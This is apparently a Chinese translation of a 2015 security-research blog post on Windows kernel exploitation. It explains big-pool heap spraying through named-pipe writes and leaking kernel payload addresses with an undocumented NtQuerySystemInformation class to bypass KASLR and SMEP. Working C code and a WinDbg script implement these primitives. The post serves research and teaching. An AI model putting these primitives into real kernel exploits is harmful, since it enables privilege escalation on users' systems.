羊年核心堆風水: “Big Kids’ Pool”中的堆噴技術

wyzsk發表於2020-08-19
作者: Chuck · 2015/01/28 10:08

0x00 前言


作者:Alex Lonescu

題目:Sheep Year Kernel Heap Fengshui: Spraying in the Big Kids’ Pool

地址: http://www.alex-ionescu.com/?p=231

前幾天看到Twitter上推薦的一篇Alex lonescu寫的博文,是關於兩個新的核心堆噴射技術的,感覺很有啟發,這個大牛寫文章有點隨意,向來不太好翻譯,這裡試翻譯一下,文章中的噴射技術本人已經做過驗證,在32位win7以及xp下都是可用的。

0x01 核心漏洞利用的技術現狀


典型的“任意地址寫任意資料”型別核心漏洞的利用技術通常需要依靠兩種方法,一種是修改某些核心空間的資料結構,這種方法由於Windows核心地址空間隨機分配(KASLR)機制,在本地是容易做到的;另一種方法是程式重定向到可控的使用者態地址空間,並以ring0許可權執行可控程式碼。

上文說到的第二種方法比較容易實現,因為不需要考慮核心空間資料的改變,並且可以在一個程式中完成完全的指令控制,常用的技術包括修改tagWND或者HAL Dispatch Table等等。

但是,由於管理模式執行保護技術(SMEP)(也稱為Intel作業系統防護)的存在,這種技術不再可靠,一個直接的使用者地址空間已經不再可用,因此,其他的可靠替代技術就必不可少了。

一種可能的替代技術是透過ROP程式設計令SMEP的強制保護失效(改變CR4暫存器中的相關位),這種方法實現時需要保證棧是可控的。這種方法此前已經在一些論文和演講稿中提出過。

另一種可能的替代方法是在以記憶體頁為單位的空間內關閉SMEP,這種方法是透過在頁級的轉換對映入口(translation mapping entries)處做出相應的修改,將使用者態的頁標為核心態的頁來實現的。這種技術也已經在至少一篇演講中被探討過,而且,如果被採用,我的一位朋友也將在2015年的SyScan演講中講到這種技術。此外,如果被採用,另一種不同版本的技術也將在2015年的INFILTRATE中講到,將講述這種不同技術的正是在下。

最後還有一種替代方法在理論上應該是可行的。這種方法透過跳轉(透過指標或回撥函式表)至一處已存在的函式執行(從而令SMEP失效,同時也繞過KASLR),同時又有某種方法令攻擊者能夠獲取到程式的控制權(並非透過ROP),當然迄今為止還沒有人找到過這樣一個已存在的函式。這樣的方法應該是一種面向跳轉的程式設計方法(JOP)。

儘管有上述如此多的技術方法,它們仍然是利用使用者地址空間承載主要攻擊載荷的(當然這一點並無問題)。那麼,是不是還應該考慮利用核心地址空間來攻擊的可能性呢?利用核心地址空間來承載攻擊載荷天然就不需再考慮ROP或者破壞PTE(頁表入口點)來令SMEP失效的問題。

很明顯,這種技術要求可執行攻擊載荷的函式已經在核心空間中存在,或者我們有辦法將其帶入到核心中。例如在棧/池溢位的情況下,這種攻擊方法就要求載荷在攻擊發生時就應該已經佈置好,並且也已經具備通常獲取程式碼執行能力的手段。這種攻擊在“遠端—遠端”攻擊時尤其常見。

那麼對於本地攻擊者(遠端—本地)最喜歡的“任意地址寫任意資料”漏洞呢?如果我們擁有使用者態下程式碼執行的能力來執行“任意地址寫任意資料”,那麼很明顯,我們可以不斷地用利用“任意地址寫任意資料”來在我們選中的地址空間重複填入攻擊載荷資料,但這也將帶來如下幾個問題:

 “任意地址寫任意資料”本身也許會不可靠,或者破壞鄰接資料,而這將導致將程式碼填入記憶體變得很難操作。

 由於需要考慮KASLR以及無執行頁保護(Kernel NX)的問題,往哪裡寫入程式碼也許是不那麼容易確定的。在Windows平臺上,這個問題儘管不是那麼難解決,但仍然算是一個技術障礙。

本篇部落格將介紹兩種新的技術(至少我認為是新的),一個將其命名為通用核心空間堆噴射技術(會產生可執行的核心地址空間),另一個是通用核心空間堆地址發現技術,用以繞過KASLR。

0x02 “大池”


精通Windows堆管理(稱為“池”)的高手肯定了解,有兩種不同的堆分配機制(如果你特別較真,也可以認為是三種):一種是“正常”池分配(包括使用lookaside連結串列的分配方法,該方法與正常池分配略有不同);另一種是“大池”分配。

少於一個記憶體頁大小的分配通常使用“正常”池分配,也就是說或者X86下小於4080位元組(8位元組用作池頭部,8位元組分給初始的空閒塊),或者X64下小於4064位元組(16位元組用於池頭部,16位元組分給初始的空閒塊)將使用“正常”池分配。這種分配機制下,地址跟蹤、記憶體對映以及地址分配計數等操作是由池管理器自身正常的記憶體處理機制來完成的,由池頭部將所有的資訊連結在一起。

至於“大池”分配機制,在分配的記憶體空間多於一個頁面時使用,同時也用於要求Cache對齊的池記憶體分配(無論其分配大小),因為cache對齊就必然會佔用至少一整個頁的大小。

因為沒有預留頭部空間,這些“大池”中的記憶體頁是透過“大池索引表”(nt!PoolBigPageTable)來索引跟蹤的;而用來確認池空間擁有者的池標識同樣也沒有儲存在頭部(因為根本就沒有頭部),也同樣是儲存在PoolBigPageTable中。表的每一個入口點都用一個POOL_TRACKER_BIG_PAGES結構表示,在公開符號表中記錄如下:

lkd> dt nt!_POOL_TRACKER_BIG_PAGES
    +0x000 Va : Ptr32 Void
    +0x004 Key : Uint4B
    +0x008 PoolType : Uint4B
    +0x00c NumberOfBytes : Uint4B

需要注意的是,上表中虛擬地址(Va)實際上是被虛擬地址和表示是否空閒的標識位按位與過以後的值,話句話說,其實上表中與過後的Va其實能夠表示兩個真正的虛擬地址,這兩個地址只可能處於兩種狀態,要麼一個空閒,要麼兩個都空閒,不可能出現兩個都不空閒的情況。下面的WinDBG指令碼可以將當前所有的“大池”分配的記憶體塊資訊列印出來。

#!c
r? @$t0 = (nt!_POOL_TRACKER_BIG_PAGES*)@@(poi(nt!PoolBigPageTable))
r? @$t1 = *(int*)@@(nt!PoolBigPageTableSize) / sizeof(nt!_POOL_TRACKER_BIG_PAGES)
.for (r @$t2 = 0; @$t2 < @$t1; r? @$t2 = @$t2 + 1)
{
    r? @$t3 = @$t0[@$t2];
    .if (@@(@$t3.Va != 1))
    {
        .printf "VA: 0x%p Size: 0x%lx Tag: %c%c%c%c Freed: %d Paged: %d CacheAligned: %d\n", @@((int)@$t3.Va & ~1), @@(@$t3.NumberOfBytes), @@(@$t3.Key >> 0 & 0xFF), @@(@$t3.Key >> 8 & 0xFF), @@(@$t3.Key >> 16 & 0xFF), @@(@$t3.Key >> 24 & 0xFF), @@((int)@$t3.Va & 1), @@(@$t3.PoolType & 1), @@(@$t3.PoolType & 4) == 4
    }
}

為什麼“大池”的分配如此令人感興趣?因為它不像“小池”分配那樣可以共享頁面,也不像“小池”分配那樣很難在除錯中跟蹤(在不匯出整個池的情況下),“大池”分配的記憶體其實是很容易被列舉出來的。容易到什麼地步,一個非公開的NtQuerySystemInformation API函式(又一個繞過KASLR的)就有一個專門用於匯出大池分配記憶體資訊的類。這個類不僅包含了記憶體的大小、標識、型別,還包含了核心態的虛擬地址!

如之前講到的,該API函式的執行並不需要額外的許可權,但需注意的是在Windows 8.1下,該API還是被限制使用了,僅低相關呼叫(如Metro應用/沙箱應用)才可以使用。

下面這一小段程式碼就是用來列舉所有“大池”分配的記憶體塊資訊的:

#!c
//
// Note: This is poor programming (hardcoding 4MB).
// The correct way would be to issue the system call
// twice, and use the resultLength of the first call
// to dynamically size the buffer to the correct size
//
bigPoolInfo = RtlAllocateHeap(RtlGetProcessHeap(),
                              0,
                              4 * 1024 * 1024);
if (bigPoolInfo == NULL) goto Cleanup;
 
res = NtQuerySystemInformation(SystemBigPoolInformation,
                               bigPoolInfo,
                               4 * 1024 * 1024,
                               &resultLength);
if (!NT_SUCCESS(res)) goto Cleanup;
 
printf("TYPE     ADDRESS\tBYTES\tTAG\n");
for (i = 0; i < bigPoolInfo->Count; i++)
{
    printf("%s0x%p\t0x%lx\t%c%c%c%c\n",
            bigPoolInfo->AllocatedInfo[i].NonPaged == 1 ?
            "Nonpaged " : "Paged    ",
            bigPoolInfo->AllocatedInfo[i].VirtualAddress,
            bigPoolInfo->AllocatedInfo[i].SizeInBytes,
            bigPoolInfo->AllocatedInfo[i].Tag[0],
            bigPoolInfo->AllocatedInfo[i].Tag[1],
            bigPoolInfo->AllocatedInfo[i].Tag[2],
            bigPoolInfo->AllocatedInfo[i].Tag[3]);
}
 
Cleanup:
if (bigPoolInfo != NULL)
{
    RtlFreeHeap(RtlGetProcessHeap(), 0, bigPoolInfo);
}

0x03 池控制


很明顯,能夠讀取到這些核心態記憶體地址是非常有用的,但僅僅記憶體塊地址可讀還不夠,那麼如何才能進一步做到控制記憶體塊中的資料呢? 你會注意到前面講到的技術中,有幾種是可以令使用者態下的攻擊者分配核心物件的(如,APC reserve物件),這類的核心物件有幾個域是使用者可控的,並且有一個用於獲取核心態記憶體地址的API函式。我們這裡基本上也是要做同樣的事情,但是不僅僅是控制核心物件的幾個域,我們的目標是找到一個可以完全控制核心物件所有資料的使用者API,且需要該API呼叫時能夠觸發一個“大池”分配。

這種尋找並非如聽起來那麼難,任何時候一個核心態元素的空間分配超過0X01中所述大小限度(大於一個記憶體頁,即4K左右)時,“大池”分配就會被觸發。因此,這個問題的難度就降低為尋找一個可以造成核心態空間分配超過4K的使用者態API,且分配的資料也得是可控的。而因為Windows XP SP2以後版本的作業系統被強制核心空間不可執行,所以這種空間分配也必須要能產生可執行的記憶體才能符合我們的要求。

(也就是說這樣的尋找必須滿足三個條件:觸發“大池”分配、資料可控、分配的空間可執行)

怎樣能滿足這樣的條件……呃,兩個很簡單的方法會立即出現在你腦中:

建立一個本地Socket套接字並監聽,用另外一個執行緒連線該套接字,然後發出一個寫操作(寫的資料要超過4K),但不要讀。這就將導致WinSock的輔助功能驅動(AFD.SYS)在核心態下為Socket資料分配記憶體地址,該驅動也是著名的另一個“歇菜的”驅動。由於Windows網路棧函式都處於DISPATCH_LEVEL(IRQL 2)層,是無法分頁的,AFD會觸發一個非分頁的記憶體塊分配,而這一條對我們來說尤其有用!因為除了Windows 8及更高版本外,其他的Windows平臺下非分頁記憶體都是可執行的!

建立一個命名管道,然後發出一個寫操作(同樣資料大於4K),且不要讀。這也將導致命名管道檔案系統(NPFS.SYS)為管道資料分配一塊非分頁的記憶體塊。(原因同樣是因為NPFS緩衝區操作位於DISPATCH_LEVEL)。

總體上說,第二種方法是更簡單的,只需要幾行程式碼就可以完成,並且與Socket操作相比管道操作更加隱蔽。需要著重指出的是NPFS會在我們自己的緩衝區前面加上一個包含其自身內聯頭部的字首,該字首被稱為DATA_ENTRY。NPFS頭部的大小會隨版本不同而略有差異(XP-、2003、Windows 8+各有不同)。

我已經找到一種最省力的方法來實現偏移的處理,可以透過在使用者態緩衝區中安排好相應的偏移,而省去考慮最終核心態載荷頭部的偏移問題。記住一點,這裡所談到的技術其關鍵是分配一個大於一頁的記憶體,以觸發“大池”分配。

下面這段小程式已經完善地考慮了上述的所有問題和需求,執行後能夠產生我們預計的效果。

#!c
UCHAR payLoad[PAGE_SIZE - 0x1C + 44];
 
//
// Fill the first page with 0x41414141, and the next page
// with INT3's (simulating our payload). On x86 Windows 7
// the size of a DATA_ENTRY is 28 bytes (0x1C).
//
RtlFillMemory(payLoad,  PAGE_SIZE - 0x1C,     0x41);
RtlFillMemory(payLoad + PAGE_SIZE - 0x1C, 44, 0xCC);
 
//
// Write the data into the kernel
//
res = CreatePipe(&readPipe,
                 &writePipe,
                 NULL,
                 sizeof(payLoad));
if (res == FALSE) goto Cleanup;
res = WriteFile(writePipe,
                payLoad,
                sizeof(payLoad),
                &resultLength,
                NULL);
if (res == FALSE) goto Cleanup;
 
//
// extra code goes here...
//
 
Cleanup:
CloseHandle(writePipe);
CloseHandle(readPipe);

我們已經知道的是NPFS讀取資料緩衝區的池標識是“NpFr”(你可以用WinDBG的!pool和!poolfind命令來查詢)。因此我們就可以將該標識硬編碼進我們的程式段,並透過該標識找到我們所期待的裝載有攻擊載荷的核心態虛擬地址,而為對付地址隨機分配機制的老的KASLR繞過的程式碼就不再需要了。

記住“分頁 vs 非分頁”標識是被按位與到虛擬地址中(與之前我們所說的標識空閒或已佔用的位不同)的,因此我們就可以將其標出來,同時也要考慮池頭部的對齊問題(對齊是強制執行的,即使對於“大池”分配也一樣)。下面的顯示NpFr標識記憶體塊地址的程式段,適用於X86平臺的Windows:

#!c
//
// Based on pooltag.txt, we're looking for the following:
// NpFr - npfs.sys - DATA_ENTRY records (r/w buffers)
//
for (entry = bigPoolInfo->AllocatedInfo;
     entry < (PSYSTEM_BIGPOOL_ENTRY)bigPoolInfo +
                                    bigPoolInfo->Count;
     entry++)
{
    if ((entry->NonPaged == 1) &&
        (entry->TagUlong == 'rFpN') &&
        (entry->SizeInBytes == ALIGN_UP(PAGE_SIZE + 44,
                                        ULONGLONG)))
    {
        printf("Kernel payload @ 0x%p\n",
               (ULONG_PTR)entry->VirtualAddress & ~1 +
               PAGE_SIZE);
        break;
    }
}

下圖是WinDBG中的截圖證明。

enter image description here

看吧!將程式打包成一個簡單的“kmalloc”幫助函式,然後你也可以分配可執行的且已知地址的核心態記憶體空間了。那麼這種分配最多可以多大?根據我做過的實驗,128MB是完全沒有問題的,但是因為這種分配是非分頁的記憶體,你還必須考慮你的RAM記憶體是否足夠大。這裡的連結指向一段部署了該分配功能的例子程式碼(沒有連結)。

使用這種技術的另一個好處是,你不僅可以得到所分配空間的虛擬地址,還可以得到該空間的實地址!作為我首先發現並首次應用在我的“meminfo tool”中的未公開Superfetch 系列API函式之一(該API現在已經被SysInternals移植到其RAMMap utility工具中),呼叫後記憶體管理器會直接返回所分配記憶體的池標識、虛擬地址以及實體地址。

下圖是RAMMap的截圖,展示了另一個已分配載荷的虛擬地址以及實地址(注意下圖中有0x1000的差異是因為命令列PoC程式碼使指標產生了一個頁的偏移,如程式碼中所寫:加了一個PAGE_SIZE)。

enter image description here

0x04 結語


該技術的此次完整爆出,有幾點額外的說明會令其在2015年變得不那麼sexy—這也是我為什麼不選擇8年前第一次偶爾發現它時,而是選擇今天將其爆出的原因:

從Windows 8開始,非分頁記憶體不再允許執行。本文的方法仍然可以用來分配記憶體,但是程式碼的執行將需要繞過記憶體的無執行頁保護(NX)機制。因此本文提出的方法就只是將SMEP繞過問題轉換為核心態NX繞過問題。

Windows 8.1下,獲取大池入口點及地址的API只在低相關呼叫下有效。這就極大降低了本地—遠端攻擊中的可用性,因為低相關呼叫一般是透過沙盒應用(如Flash、IE、Chrome等等)或Metro 容器載入。

當然,也存在一些相應的方法來解決上述問題,如沙盒逃逸就常用於本地—遠端攻擊,因此上述問題2)就有解決的餘地。至於上述問題1),一些聰明的研究者也已經指出NX並沒有在所有地方都完整部署,比如,分配的Session池空間,在新版本的Windows下仍然是可執行的,當然僅限X86(32位)系統上可執行。我把這個如何在擴充套件Windows版本中實現此技術作為練習留給讀者完成(小提示:系統中有一種叫做“Big Session Pool”的池)。

那麼,64位的Windows或者更新版本的Windows 10下怎麼辦呢?看起來本文提到的這種技術在這些系統上是失效的了---|-是這樣的嗎!?核心態下所有的記憶體空間都已經NX了嗎?或者還有沒有別的猥瑣方法來分配到可執行的記憶體空間,並且得到其地址?當2022年到來,Windows14釋出後,我必將立刻在Blog中回答這些個相關問題。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章